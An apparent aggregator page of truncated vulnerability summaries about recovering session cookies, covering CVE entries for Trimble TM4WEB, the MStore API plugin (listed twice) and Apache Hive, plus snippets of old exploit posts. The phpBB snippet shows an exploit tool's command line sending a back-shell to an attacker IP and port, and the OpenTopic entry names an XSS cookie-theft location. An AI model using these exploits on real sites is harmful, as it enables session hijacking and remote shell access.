CVE-2022-35497: Improper Neutralization of Input During Web Page Generation

In Trimble TM4WEB 21.4.0.4 due to security misconfiguration with session identifiers, it is possible to recover valid session cookies via reflected cross-site scripting affecting the external document viewer endpoint...

CVE-2021-24148

A business logic issue in the MStore API WordPress plugin, versions before 3.2.0, had an authentication bypass with Sign In With Apple allowing unauthenticated users to recover an authentication cookie with only an email address...

CVE-2021-24148

A business logic issue in the MStore API WordPress plugin, versions before 3.2.0, had an authentication bypass with Sign In With Apple allowing unauthenticated users to recover an authentication cookie with only an email address...

CVE-2020-1926: Observable Timing Discrepancy

Apache Hive cookie signature verification used a non constant time comparison which is known to be vulnerable to timing attacks. This could allow recovery of another users cookie signature. The issue was addressed in Apache Hive 2.3.8...

phpbb <= 2.0.12 uid vuln + admin_styles.php php code injection exploit

phpbbexp.exe http://site.com/phpbb/ backshell ip backshell port coded by Malloc0 Wicked Attitude tested on phpbb 2.0.11 C:dtcphpbbexp.exe http://site.com/phpbb2/ 13.37.13.37 8888 nom du cookie recuperer : phpbb2mysql SESSION ID recuperЪ ... 06bef5092f9d369f13107684f63a3499...

OpenTopic security hole

Informations : °°°°°°°°°°°°°° Product : OpenTopic Website : http://www.infopop.com Version : 2.3.1 Problem : XSS script injection - Cookies recovery Location/Exploit : °°°°°°°°°°°°°°°°°° The XSS hole is in the private messages area http://target/OpenTopic?a=ugtpc . XSS to get cookie :...